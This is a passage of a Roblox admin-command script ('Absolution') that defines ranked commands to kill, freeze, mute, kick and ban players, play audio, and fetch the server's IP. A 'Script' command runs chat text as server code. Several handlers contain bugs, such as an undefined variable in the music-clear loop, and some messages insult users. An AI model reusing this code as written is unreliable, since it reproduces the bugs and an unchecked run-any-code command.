  3163. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
  3164. end
  3165. else
  3166. for _,v in pairs(Table) do
  3167. Absolution.Functions.GetRankedInterface(Speaker, v)
  3168. end
  3169. end
  3170. end
  3171. Absolution.Functions.Out(Speaker, 'Got Ranked.', 5)
  3172. end)
  3173.  
  3174. Absolution.Functions.Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
  3175. if #Msg>0 and tonumber(Msg) and Absolution.Ranks[tonumber(Msg)] then
  3176. Absolution.Functions.OpenCmds(tonumber(Msg), Speaker)
  3177. elseif #Msg>0 and not tonumber(Msg) and Msg:lower()=='all' then
  3178. Absolution.Functions.OpenCmds('all', Speaker)
  3179. elseif #Msg>0 and not tonumber(Msg) then
  3180. Absolution.Functions.Output(Speaker, 'That\'s not a valid number!', 'Really red')
  3181. else
  3182. Absolution.Functions.ShowCommands(Speaker)
  3183. end
  3184. Absolution.Functions.Out(Speaker, 'Got Commands.', 5)
  3185. end)
  3186. Absolution.Functions.Command("Debugger Info", {"sinfo", "serverstats", 'gstats','stats'}, 0, "Gets server stats", "No Flags", function(Speaker, Msg)
  3187. Absolution.Functions.Dismiss(Speaker)
  3188. Absolution.Handler:sendPacket(Speaker, 'TerminalOn')
  3189. for index,key in next,Absolution.Functions.getServerInfo() do
  3190. Absolution.Functions.Out(Speaker, index..' = '.. tostring(key), 2)
  3191. end
  3192. Absolution.Functions.Out(Speaker, 'Got ServerStats.', 5)
  3193. end)
  3194. -- Rank 1 --
  3195. Absolution.Functions.Command('Play Music',{'play','music','sound'}, 1, 'Plays music <id>','-n (No Music)',function(Speaker,Msg)
  3196. if Absolution.Functions.GetSplit(Msg) == "n" then
  3197. local rtn = {}
  3198.  
  3199. local function recurse(obj)
  3200. for i,v in next,obj:children'' do
  3201. if v:isA('Sound') then
  3202. table.insert(rtn,v)
  3203. end
  3204. recurse(v)
  3205. end
  3206. end
  3207.  
  3208. for q,e in pairs(rtn) do
  3209. v.Volume = 0
  3210. v:Stop()
  3211. v:Destroy()
  3212. end
  3213.  
  3214. recurse(Absolution.Services.Workspace)
  3215. Absolution.Functions.Out(Speaker, 'Music cleared!',5)
  3216. else
  3217. Absolution.Functions.PlayAudio(Speaker,Msg)
  3218. Absolution.Functions.Out(Speaker, 'Playing Audio '..Msg, 5)
  3219. end
  3220. end)
  3221. Absolution.Functions.Command('Countdown', {'cd', 'count', 'countdown'}, 1, 'Makes a countdown in the server', 'No flags', function(Speaker, Msg)
  3222. Absolution.Functions.Output(Speaker, 'Creating a countdown...', 'Random', nil, 3)
  3223. if tonumber(Msg) and tonumber(Msg) > 0 and tonumber(Msg) < 60 then
  3224. local Hint = Instance.new('Message', workspace)
  3225. for i = tonumber(Msg),1,-1 do
  3226. if not Hint and Hint.Parent.Name=='Workspace' then Hint = Instance.new('Message',workspace) end
  3227. Hint.Text = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[ABSOLUTION] "..i
  3228. wait(1)
  3229. end
  3230. if Hint then Hint:Destroy() end
  3231. Absolution.Functions.Out(Speaker, 'Created a countdown.', 5)
  3232. elseif tonumber(Msg) < 0 then
  3233. Absolution.Functions.Out(Speaker, 'You must think I\'m stupid. The number can\'t be negative!', 4)
  3234. elseif tonumber(Msg) > 60 then
  3235. Absolution.Functions.Out(Speaker, 'Wow nice going you stupid abuser. Don\'t play games with me! Make the number smaller.', 4)
  3236. end
  3237. end)
  3238. Absolution.Functions.Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
  3239. if Absolution.Functions.GetSplit(Msg) == "u" then
  3240. Msg = Msg:gsub("-u","")
  3241. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3242. if #Players > 0 then
  3243. for _,v in pairs(Players) do
  3244. ypcall(function()
  3245. for _, v2 in pairs(v.Character:GetChildren()) do
  3246. if v2:IsA("ForceField") then
  3247. v2:remove()
  3248. end
  3249. end
  3250. Absolution.Functions.Out(Speaker, 'Removed '..v.Name..'\'s Forcefield.', 1)
  3251. end)
  3252. end
  3253. end
  3254. else
  3255. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3256. if #Players > 0 then
  3257. for _,v in pairs(Players) do
  3258. ypcall(function()
  3259. Instance.new("ForceField", v.Character)
  3260. Absolution.Functions.Out(Speaker, 'Gave forcefield to '..v.Name..'.', 1)
  3261. end)
  3262. end
  3263. end
  3264. end
  3265. end)
  3266.  
  3267. local HTTP = game:GetService("HttpService")
  3268.  
  3269. Absolution.Functions.Command("Dictionary", {"dict","dictionary"}, 1, "Uses dictionary functions", "-e (Example) -d(Define)", function(Speaker, Msg)
  3270. local example;
  3271. if Absolution.Functions.GetSplit(Msg) == "e" then
  3272. Msg = Msg:gsub('-e','')
  3273. example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?example="..Msg.."")
  3274. elseif Absolution.Functions.GetSplit(Msg) == "d" then
  3275. Msg = Msg:gsub('-d','')
  3276. example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?define="..Msg.."")
  3277. end
  3278. if example == nil then
  3279. --Absolution.Functions.Output(Speaker, "Please enter a word", 'Bright blue')
  3280. Absolution.Functions.Out(Speaker, "Please enter a word", 5)
  3281. elseif example == "No example found." then
  3282. --Absolution.Functions.Output(Speaker, "Could not find data for "..Msg, 'Really red')
  3283. Absolution.Functions.Out(Speaker, "Could not find data for "..Msg, 4)
  3284. else
  3285. --Absolution.Functions.Output(Speaker, Msg..": "..example)
  3286. Absolution.Functions.Out(Speaker, Msg..": "..example, 1)
  3287. end
  3288. end)
  3289.  
  3290. Absolution.Functions.Command("Server IP", {"ip", "serverip"}, 1, "Returns Server IP", "No Flags", function(Speaker, Msg)
  3291. local example = HTTP:GetAsync("https://api.ipify.org")
  3292. if example == nil then
  3293. --Absolution.Functions.Output(Speaker, "Could not find IP", 'Bright blue')
  3294. Absolution.Functions.Out(Speaker, "Could not find IP", 5)
  3295. elseif example == "IP Not found." then
  3296. --Absolution.Functions.Output(Speaker, "Could not find data for server.", 'Really red')
  3297. Absolution.Functions.Out(Speaker, "Could not find data for server.", 4)
  3298. else
  3299. --Absolution.Functions.Output(Speaker, "Server IP: "..example)
  3300. Absolution.Functions.Out(Speaker, "Server IP: "..example, 1)
  3301. end
  3302. end)
  3303.  
  3304.  
  3305. Absolution.Functions.Command("URI Shortener", {"tinyurl",'shorten'}, 1, "Shortens an url", "No Flags", function(Speaker, Msg)
  3306. local example = HTTP:GetAsync("https://is.gd/create.php?format=simple&url="..Msg.."")
  3307. if example == nil then
  3308. --Absolution.Functions.Output(Speaker, "Please enter a name", 'Bright blue')
  3309. Absolution.Functions.Out(Speaker, "Please enter a name", 5)
  3310. elseif example == "Error: Please enter a valid URL to shorten" then
  3311. --Absolution.Functions.Output(Speaker, "URL: "..Msg..", is not valid", 'Really red')
  3312. Absolution.Functions.Out(Speaker, "URL: "..Msg..", is not valid", 4)
  3313. else
  3314. --Absolution.Functions.Output(Speaker,"URL: "..example..".")
  3315. Absolution.Functions.Out(Speaker, "URL: "..example..".", 1)
  3316. end
  3317. end)
  3318.  
  3319. Absolution.Functions.Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
  3320. if Absolution.Functions.GetSplit(Msg) == "u" then
  3321. Msg = Msg:gsub("-u","")
  3322. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3323. if #Players > 0 then
  3324. for _,v in pairs(Players) do
  3325. ypcall(function()
  3326. for __,vv in pairs(v.Character:GetChildren()) do
  3327. if vv:IsA('Humanoid') then
  3328. vv.Name = 'Humanoid'
  3329. vv.MaxHealth = 100
  3330. vv.Health = 100
  3331. end
  3332. end
  3333. Absolution.Functions.Out(Speaker, "Un-Goded "..v.Name..".", 1)
  3334. end)
  3335. end
  3336. end
  3337. else
  3338. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3339. if #Players > 0 then
  3340. for _,v in pairs(Players) do
  3341. ypcall(function()
  3342. for __,vv in pairs(v.Character:GetChildren()) do
  3343. if vv:IsA('Humanoid') then
  3344. vv.Name = 'lal_its_a_humanoid'
  3345. vv.MaxHealth = math.huge
  3346. end
  3347. end
  3348. Absolution.Functions.Out(Speaker, "Goded "..v.Name..".", 1)
  3349. end)
  3350. end
  3351. end
  3352. end
  3353. end)
  3354. Absolution.Functions.Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
  3355. if Absolution.Functions.GetSplit(Msg) == "u" then
  3356. Msg = Msg:gsub("-u","")
  3357. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3358. if #Players > 0 then
  3359. for _,v in pairs(Players) do
  3360. ypcall(function()
  3361. for _,v in pairs(v.Character:GetChildren()) do
  3362. if v:IsA("Part") then
  3363. v.Anchored = false
  3364. end
  3365. end
  3366. pcall(function() v.Character.FrozenBlock:remove() end)
  3367. Absolution.Functions.Out(Speaker, "Thawed "..v.Name..".", 1)
  3368. end)
  3369. end
  3370. end
  3371. else
  3372. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3373. if #Players > 0 then
  3374. for _,v in pairs(Players) do
  3375. ypcall(function()
  3376. pcall(function() v.Character.FrozenBlock:remove() end)
  3377. for _,v in pairs(v.Character:GetChildren()) do
  3378. if v:IsA("Part") then
  3379. v.Anchored = true
  3380. end
  3381. end
  3382. local b = Instance.new("Part", v.Character)
  3383. b.Anchored = true
  3384. b.Locked = true
  3385. b.TopSurface, b.BottomSurface = 0,0
  3386. b.Color = BrickColor.new("Light blue").Color
  3387. b.Size = Vector3.new(5,10,5)
  3388. b.Transparency = 0.5
  3389. b.Name = "FrozenBlock"
  3390. b.CFrame = v.Character.Torso.CFrame
  3391. local Weld = Instance.new("Weld", b)
  3392. Weld.Name = "FrozenWeld"
  3393. Weld.Part0 = v.Character.Torso
  3394. Weld.Part1 = b
  3395. Absolution.Functions.Out(Speaker, "Froze "..v.Name..".", 1)
  3396. end)
  3397. end
  3398. end
  3399. end
  3400. end)
  3401. Absolution.Functions.Command("Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
  3402. local Split = Msg:find('/')--('/')
  3403. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3404. local Speed = tonumber(Msg:sub(Split + 1))
  3405. for _,v in pairs(Player) do
  3406. ypcall(function()
  3407. v.Character.Humanoid.WalkSpeed = Speed
  3408. Absolution.Functions.Out(Speaker, "Gave "..Speed.." walkspeed to "..v.Name".", 1)
  3409. end)
  3410. end
  3411. end)
  3412. Absolution.Functions.Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
  3413. if Absolution.Functions.GetSplit(Msg) == "u" then
  3414. Msg = Msg:gsub("-u", "")
  3415. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3416. if #Players > 0 then
  3417. for _,v in pairs(Players) do
  3418. ypcall(function()
  3419. for _,c in pairs(v.Character:GetChildren()) do
  3420. if c.ClassName == "Part" then
  3421. c.Transparency = 0
  3422. end
  3423. if c:findFirstChild("face") then
  3424. c.face.Transparency = 0
  3425. end
  3426. if c:findFirstChild("Handle") then
  3427. c.Handle.Transparency = 0
  3428. end
  3429. end
  3430. Absolution.Functions.Out(Speaker, "Made "..v.Name.." visible.", 1)
  3431. end)
  3432. end
  3433. end
  3434. else
  3435. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3436. if #Players > 0 then
  3437. for _,v in pairs(Players) do
  3438. ypcall(function()
  3439. for _,c in pairs(v.Character:GetChildren()) do
  3440. if c.ClassName == "Part" then
  3441. c.Transparency = 1
  3442. end
  3443. if c:findFirstChild("face") then
  3444. c.face.Transparency = 1
  3445. end
  3446. if c:findFirstChild("Handle") then
  3447. c.Handle.Transparency = 1
  3448. end
  3449. end
  3450. Absolution.Functions.Out(Speaker, "Made "..v.Name.." invisible.", 1)
  3451. end)
  3452. end
  3453. end
  3454. end
  3455. end)
  3456. -- Rank 2 --
  3457. Absolution.Functions.Command("Private Base Teleport",{"tpb"}, 2, "Teleports a player to the Private Base", "No Flags", function(Speaker, Msg)
  3458. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3459. for i,v in pairs(Players) do
  3460. pcall(function()
  3461. if not v.Character then v:LoadCharacter() end
  3462. if v.Character:findFirstChild'Humanoid'.Sit==true then v.Character.Humanoid.Jump = true end
  3463. v.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3464. wait()
  3465. v.Character:MoveTo(Absolution.Services.Workspace.Terrain:FindFirstChild'AbsolutionBase'.Position+Vector3.new(0,10,0))
  3466. Absolution.Functions.Out(Speaker, "Teleported "..v.Name.." to the private base.", 1)
  3467. end)
  3468. end
  3469. end)
  3470. Absolution.Functions.Command("Btools",{"bt",'btools'}, 2, "Gives u da btools!", "No Flags", function(Speaker, Msg)
  3471. Absolution.Functions.createLocalScript('TerrainBrushScript', Speaker:WaitForChild('Backpack'), 'le terrain!')
  3472. script.Bin:FindFirstChild("Building Tools"):Clone().Parent = Speaker:WaitForChild('Backpack')
  3473. Absolution.Functions.Out(Speaker, "Got btools.", 1)
  3474. end)
  3475. Absolution.Functions.Command("Search Music",{"sm","srchm","searchm"}, 2, "Searches catalog for music", "No Flags", function(Speaker, Msg)
  3476. Absolution.Functions.Dismiss(Speaker)
  3477. Absolution.Functions.Output(Speaker,'Retrieving data...')
  3478. local Audio = Absolution.Functions.GetCatalog(Msg, 9)
  3479. local Hats = Absolution.Functions.GetCatalog(Msg, 3)
  3480. local Gear = Absolution.Functions.GetCatalog(Msg, 5)
  3481. Absolution.Functions.Dismiss(Speaker)
  3482. Absolution.Functions.Output(Speaker, "Audio:\n"..#Audio, "White", function()
  3483. Absolution.Functions.Dismiss(Speaker)
  3484. for _, Data in pairs(Audio) do
  3485. Absolution.Functions.Output(Speaker, Data.Name, "White", function()
  3486. Absolution.Functions.Dismiss(Speaker)
  3487. local datasafe = {
  3488. ["Name"] = Data.Name,
  3489. ["CreatorID"] = Data.CreatorID,
  3490. ["isLimited"] = Data.isLimited,
  3491. ["Sales"] = Data.Sales,
  3492. ["Favorited"] = Data.Favorited,
  3493. ["Description"] = Data.Description,
  3494. ["IsForSale"] = Data.IsForSale,
  3495. ["Creator"] = Data.Creator,
  3496. ["Updated"] = Data.Updated,
  3497. }
  3498. for i,v in pairs(datasafe) do
  3499. pcall(function()
  3500. Absolution.Functions.Output(Speaker,i..': '..tostring(v))
  3501. end)
  3502. end
  3503. Absolution.Functions.Output(Speaker, 'Play '..Data.Name, 'White', function()Absolution.Functions.PlayAudio(Speaker,Data.AssetId) Absolution.Functions.Out(Speaker, "Playing "..Data.Name..".", 1)end)
  3504. end)
  3505. end
  3506. end)
  3507. Absolution.Functions.Output(Speaker, "Hats:\n"..#Hats, "Bright violet", function()
  3508. Absolution.Functions.Dismiss(Speaker)
  3509. for _, Data in pairs(Hats) do
  3510. Absolution.Functions.Output(Speaker, Data.Name.."\n("..Data.AssetId..")", "Bright violet", function()
  3511. for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
  3512. if Speaker.Character then
  3513. Child.Parent = Speaker.Character
  3514. Absolution.Functions.Dismiss(Speaker)
  3515. Absolution.Functions.Out(Speaker, "Got hat "..Data.Name.." ("..Data.AssetId..").", 1)
  3516. end
  3517. end
  3518. end)
  3519. end
  3520. end)
  3521. Absolution.Functions.Output(Speaker, "Gear:\n"..#Gear, "Bright green", function()
  3522. Absolution.Functions.Dismiss(Speaker)
  3523. for _, Data in pairs(Gear) do
  3524. Absolution.Functions.Output(Speaker, Data.Name..":\n"..Data.AssetId, "Bright green", function()
  3525. for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
  3526. Child.Parent = Speaker:FindFirstChild("Backpack") or Absolution.Services.Workspace
  3527. Absolution.Functions.Dismiss(Speaker)
  3528. Absolution.Functions.Out(Speaker, "Got gear "..Data.Name.." ("..Data.AssetId..").", 1)
  3529. end
  3530. end)
  3531. end
  3532. end)
  3533. end)
  3534.  
  3535. Absolution.Functions.Command('Script',{'skrip','skript','cancer','syntax'}, 2, 'Creates a new script with msg as source', 'No flags', function(Speaker, Msg)
  3536. if #Msg > 0 then
  3537. Absolution.Functions.createScript(Msg, Absolution.Services.Workspace, Speaker.Name..tick())
  3538. Absolution.Functions.Out(Speaker, "Creating normal script.", 1)
  3539. end
  3540. end)
  3541. Absolution.Functions.Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets) -c (Chat)", function(Speaker,Msg)
  3542. if Absolution.Functions.GetSplit(Msg) == "h" then
  3543. Msg = Msg:gsub("-h", "")
  3544. local m = Instance.new("Hint", Absolution.Services.Workspace)
  3545. m.Text = Msg
  3546. Absolution.Services.Debris:AddItem(m, 3)
  3547. elseif Absolution.Functions.GetSplit(Msg) == "hg" then
  3548. Msg = Msg:gsub("-hg", "")
  3549. Absolution.Functions.Announce(Msg, false)
  3550. elseif Absolution.Functions.GetSplit(Msg) == "t" then
  3551. Msg = Msg:gsub("-t", "")
  3552. Absolution.Functions.Output("All",Speaker.Name..": "..Msg, "Random", nil, 3)
  3553. elseif Absolution.Functions.GetSplit(Msg) == "c" then
  3554. Msg = Msg:gsub("-c", "")
  3555. Absolution.Handler.sendChat(Msg, nil, Speaker.Name)
  3556. Absolution.Functions.Out('All', Speaker.Name..': '..Msg, 5)
  3557. elseif Absolution.Functions.GetSplit(Msg) == "m" then
  3558. Msg = Msg:gsub("-m", "")
  3559. local m = Instance.new("Message", Absolution.Services.Workspace)
  3560. m.Text = Speaker.Name..": "..Msg
  3561. Absolution.Services.Debris:AddItem(m, 3)
  3562. else
  3563. Absolution.Functions.Announce(Msg, true)
  3564. end
  3565. end)
  3566. -- Rank 3 --
  3567. Absolution.Functions.Command("Hamster Ball", {"ball"}, 3, "Gives the speaker a hamster ball.", "No Flags",function(Speaker, Msg)
  3568. if Speaker.Character then
  3569. if Speaker.Character:findFirstChild'Torso' then
  3570. local pos = Speaker.Character.Torso.Position
  3571. Absolution.Functions.MakeBall(pos)
  3572. Absolution.Functions.Out(Speaker, "Got ball.", 1)
  3573. end
  3574. end
  3575. end)
  3576. --[[
  3577. Absolution.Functions.Command("Blind", {"blnd",'nosee','bgui','blind'}, 3, "Toggles a player's blind", "No Flags",function(Speaker, Msg)
  3578. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3579. local Status;
  3580. Absolution.Functions.Dismiss(Speaker)
  3581. if #Players > 0 then
  3582. for _,v in pairs(Players) do
  3583. coroutine.wrap(function()
  3584. ypcall(function()
  3585. Status = Absolution.Handler:sendPacket(v, 'Blind',{})
  3586. Absolution.Functions.Out(Speaker, "Blinded "..v.Name..".", 1)
  3587. end)
  3588. end)
  3589. end
  3590. end
  3591. end)--]]
  3592. Absolution.Functions.Command("Mute", {"mute"}, 3, "Mutes A Player", "-u (UnMute)", function(Speaker, Msg)
  3593. if Absolution.Functions.GetSplit(Msg) == "u" then
  3594. Msg = Msg:gsub("-u","")
  3595. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3596. if #Players > 0 then
  3597. for _,v in pairs(Players) do
  3598. ypcall(function()
  3599. Absolution.Handler:sendPacket(v, "unmute")
  3600. Absolution.Functions.Out(Speaker, "Unmuted "..v.Name..".", 1)
  3601. end)
  3602. end
  3603. end
  3604. else
  3605. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3606. if #Players > 0 then
  3607. for _,v in pairs(Players) do
  3608. ypcall(function()
  3609. Absolution.Handler:sendPacket(v, "mute")
  3610. Absolution.Functions.Out(Speaker, "Muted "..v.Name..".", 1)
  3611. end)
  3612. end
  3613. end
  3614. end
  3615. end)
  3616. Absolution.Functions.Command("Remove hats", {'nohats','nohat','nh','removehats','bald'}, 3, "Removes a player's hats", "No Flags", function(Speaker, Msg)
  3617. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3618. if #Players > 0 then
  3619. for _,v in pairs(Players) do
  3620. ypcall(function()
  3621. if v.Character then
  3622. for i,v in pairs(v.Character:children()) do
  3623. if v:IsA('Hat') then
  3624. v:Destroy()
  3625. end
  3626. end
  3627. end
  3628. Absolution.Functions.Out(Speaker, "Removed "..v.Name.."'s hats", 1)
  3629. end)
  3630. end
  3631. else
  3632. Absolution.Functions.Output(Speaker, 'No players defined.','Really red')
  3633. end
  3634. end)
  3635. Absolution.Functions.Command("GetPlayerInfo", {"pinfo",'showdata','pdata','ginfo'}, 3, "Gets a players info", "No Flags", function(Speaker, Msg)
  3636. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3637. if #Players <= 1 then
  3638. for _,v in pairs(Players) do
  3639. ypcall(function()
  3640. Absolution.Functions.ShowData(Speaker, v)
  3641. Absolution.Functions.Out(Speaker, "Got "..v.Name.."'s data.", 1)
  3642. end)
  3643. end
  3644. else
  3645. Absolution.Functions.Output(Speaker, 'Too many players!','Really red')
  3646. end
  3647. end)
  3648. -- Rank 4 --
  3649. Absolution.Functions.Command("Full Clean", {"fullclean", "fc", "fclean"}, 4, "Full Cleans The Server", '-f (Full Clean)', function(Speaker, Msg)
  3650. if Absolution.Functions.GetSplit(Msg) == "f" then
  3651. Absolution.Functions.FullClean()
  3652. else
  3653. Absolution.Functions.CleanWorkspace()
  3654. end
  3655. Absolution.Functions.Out(Speaker, "Got clean.", 5)
  3656. end)
  3657. Absolution.Functions.Command("Kill", {"kill"}, 4, "Kills A Player", "-l (Loopkill) -ul (Unloopkill) -s (Smite) -r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
  3658. if Absolution.Functions.GetSplit(Msg) == "r" then
  3659. Msg = Msg:gsub("-r","")
  3660. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3661. if #Players > 0 then
  3662. for _,v in pairs(Players) do
  3663. ypcall(function()
  3664. v:LoadCharacter()
  3665. Absolution.Functions.Out(Speaker, "Respawned "..v.Name..".", 5)
  3666. end)
  3667. end
  3668. end
  3669. elseif Absolution.Functions.GetSplit(Msg) == "s" then
  3670. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3671. if #Players > 0 then
  3672. for _,v in pairs(Players) do
  3673. for _,i in pairs(v.Character:children()) do
  3674. if i:IsA'BasePart' then
  3675. local Sparkles = Instance.new("Sparkles",i)
  3676. Sparkles.Color = Color3.new(math.random(),math.random(),math.random())
  3677. local Ex = Instance.new("Explosion",Absolution.Services.Workspace)
  3678. Ex.Position = i.Position
  3679. Ex.BlastPressure = 1e105
  3680. i:BreakJoints()
  3681. i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250))
  3682. coroutine.wrap(function()
  3683. for b=1,5,0.5 do
  3684. i.Size=Vector3.new(b,b,b)
  3685. wait(0.01)
  3686. end
  3687. end)()
  3688. end
  3689. end
  3690. local Base=Instance.new'Part'
  3691. pcall(function()
  3692. Base.Size=Vector3.new(5,1,3)
  3693. Base.Color=Color3.new(BrickColor.new'Bright yellow')
  3694. Base.Anchored=true
  3695. Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z)
  3696. coroutine.wrap(function()
  3697. for i=0,1,0.1 do
  3698. Base.Transparency=i
  3699. wait()
  3700. end
  3701. Base:Destroy()
  3702. end)()
  3703. end)
  3704. end
  3705. end
  3706. elseif Absolution.Functions.GetSplit(Msg) == "e" then
  3707. Msg = Msg:gsub("-e", "")
  3708. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3709. if #Players > 0 then
  3710. for _,v in pairs(Players) do
  3711. ypcall(function()
  3712. local e = Instance.new'Explosion'
  3713. e.Parent = Absolution.Services.Workspace
  3714. e.BlastRadius = 10
  3715. e.BlastPressure = 10000
  3716. e.Position = v.Character.Torso.Position
  3717. Absolution.Functions.Out(Speaker, "Exploded "..v.Name..".", 5)
  3718. end)
  3719. end
  3720. end
  3721. elseif Absolution.Functions.GetSplit(Msg) == "l" then
  3722. Msg = Msg:gsub("-l", "")
  3723. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3724. if #Players > 0 then
  3725. for _,v in pairs(Players) do
  3726. ypcall(function()
  3727. if Absolution.Connections.Killing[v.Name] then
  3728. return Absolution.Functions.Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
  3729. end
  3730. Absolution.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
  3731. wait()
  3732. Character:BreakJoints()
  3733. end)
  3734. v.Character:BreakJoints()
  3735. end)
  3736. end
  3737. end
  3738. elseif Absolution.Functions.GetSplit(Msg) == "ul" then
  3739. Msg = Msg:gsub("-ul", "")
  3740. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3741. if #Players > 0 then
  3742. for _,v in pairs(Players) do
  3743. ypcall(function()
  3744. if Absolution.Connections.Killing[v.Name] then
  3745. Absolution.Connections.Killing[v.Name]:disconnect()
  3746. Absolution.Connections.Killing[v.Name] = nil
  3747. end
  3748. end)
  3749. end
  3750. end
  3751. elseif Absolution.Functions.GetSplit(Msg) == "w" then
  3752. Msg = Msg:gsub("-w", "")
  3753. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3754. if #Players > 0 then
  3755. for _,v in pairs(Players) do
  3756. ypcall(function()
  3757. v.Character.Humanoid.WalkSpeed = "99e999"
  3758. Absolution.Functions.Out(Speaker, "Walkspeed killed "..v.Name..".", 5)
  3759. end)
  3760. end
  3761. end
  3762. else
  3763. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3764. if #Players > 0 then
  3765. for _,v in pairs(Players) do
  3766. ypcall(function()
  3767. v.Character:BreakJoints()
  3768. Absolution.Functions.Out(Speaker, "Killed "..v.Name..".", 5)
  3769. end)
  3770. end
  3771. end
  3772. end
  3773. end)
  3774. Absolution.Functions.Command("Kick", {"kick", "leave", "bai", "kk", "sbban", "gtfo", "kys", "dc"}, 4, "Kicks A Player", "-t (Tempban) -b (Banish) -c (Crash) -n (Nil) -r (Rejoin)",function(Speaker, Msg)
  3775. local Split = Msg:find("/")
  3776. local tbsr = Msg:find";"
  3777. if Absolution.Functions.GetSplit(Msg) == "b" then
  3778. if Absolution.Functions:findRank(Speaker) < 6 then
  3779. return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
  3780. end
  3781. local Reason = (Msg:sub(Split + 1)..' ('..Speaker.Name..')'):gsub('-b','')
  3782. Msg = Msg:gsub("-b","")
  3783. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3784. if #Players > 0 then
  3785. for _,v in pairs(Players) do
  3786. if Absolution.Functions:findRank(v) >= 3 then
  3787. ypcall(function()
  3788. Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm PERMANENT ban for: '..Reason,'Really red',function()
  3789. Absolution.Functions.getRankedTable(v.Name).Rank = -1
  3790. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  3791. --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
  3792. Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
  3793. Absolution.Functions.Out(Speaker, "You banned "..v.Name.." for "..Reason..".", 5)
  3794. wait()
  3795. Absolution.Functions.syncRankOut(v)
  3796. v:Kick('You were banned for '..Reason)
  3797. end)
  3798. end)
  3799. else
  3800. ypcall(function()
  3801. Absolution.Functions.getRankedTable(v.Name).Rank = -1
  3802. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  3803. --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error')
  3804. Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error')
  3805. Absolution.Functions.Out('All', v.Name..' was banned for '..Reason..'.', 5)
  3806. wait()
  3807. Absolution.Functions.syncRankOut(v)
  3808. v:Kick('You were banned for '..Reason)
  3809. end)
  3810. end
  3811. end
  3812. end
  3813. elseif Absolution.Functions.GetSplit(Msg) == "t" then
  3814. if Absolution.Functions.getRankedTable(Speaker).Rank < 6 then
  3815. return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red")
  3816. end
  3817. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3818. local Duration = ((Msg:sub(tbsr + 1)):gsub('-t',''))
  3819. if not tonumber(Duration) and tostring(Duration):len() >= 3 then
  3820. local data = {}
  3821. local form = '[%d+%a+]+'
  3822. for match in Duration:gmatch(form) do
  3823. data[#data+1] = match
  3824. end
  3825. if not data[1] and not data[2] then Absolution.Functions.Output(Speaker,'Invalid time format!','Really red') return end
  3826. local tim = data[1]
  3827. local types = {["years"] = 525600,["months"] = 43800,["weeks"] = 10080,["days"] = 1440,["hours"] = 60}
  3828. local multiplier = types[data[2]]
  3829. if not multiplier then
  3830. local teststr = data[2]..'s'
  3831. if types[teststr] then
  3832. multiplier = types[teststr]
  3833. else
  3834. Absolution.Functions.Output(Speaker,'Invalid time format!','Really red')
  3835. end
  3836. end
  3837. Duration = ((tim*60) * multiplier)
  3838. elseif tonumber(Duration) then
  3839. Duration = Duration*60
  3840. end
  3841. local Reason = (Msg:sub(Split + 1,tbsr-1)..' ('..Speaker.Name..')'):gsub('-t','')
  3842. if #Players > 0 then
  3843. for _,v in pairs(Players) do
  3844. if Absolution.Functions:findRank(v) >= 3 then
  3845. ypcall(function()
